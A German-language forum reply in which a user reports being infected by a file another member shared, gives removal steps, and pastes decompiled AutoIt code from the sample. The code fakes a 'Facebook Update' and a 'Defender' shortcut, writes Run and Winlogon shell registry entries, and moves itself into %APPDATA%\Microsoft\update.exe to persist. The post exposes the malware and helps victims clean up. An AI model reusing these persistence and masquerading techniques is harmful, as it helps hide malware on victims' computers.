Maaan bist du cool ! gleiler virus mein freund :) naja jz ist mein pc infiziert :( haha wenn man die datei öffnet löscht die sich selber und verbreitet sich im ganzen pc super :)
#Edit
Der virus kopiert sich in %appdata%/microsoft/update.exe
die exe löschen und viren scanner drüberlaufen lassen !
und aus startup entfernt außerdem wieso machst du son scheiß xD ?
Code:
Func getmodulefilenamea($sprocess)
Local $ret = DllCall("Kernel32", "ptr", "GetModuleFileNameA", "ptr", $i, "str", $spath, "int", 256)
If (@error) OR (NOT $ret[0]) Then
Return SetError(1, 0, "")
EndIf
Return $ret[2]
EndFunc
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\", "Facebook Update", "REG_EXPAND_SZ", "%APPDATA%\Microsoft\update.exe")
RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\Run\", "Facebook Update", "REG_EXPAND_SZ", "%APPDATA%\Microsoft\update.exe")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", "%APPDATA%\Microsoft\update.exe" & ",explorer.exe")
FileCreateShortcut("%APPDATA%\Microsoft\update.exe", @StartupDir & "\windows.lnk", "%APPDATA%\Microsoft\", "", "Defender", @SystemDir & "\shell32.dll", "", "4", @SW_MINIMIZE)
FileMove(@ScriptFullPath, @AppDataDir & "\Microsoft\update.exe", 1)
Func oqsvnuxig($sstr)
Local $result, $i, $blen
Do
$i = $i + 1
$blen = StringLeft($sstr, $i)
$result = $i
Until $sstr = $blen
Return $result
EndFunc
Schick Schick :),
nskgvilfog.dll zmujgtgs..dll ? xD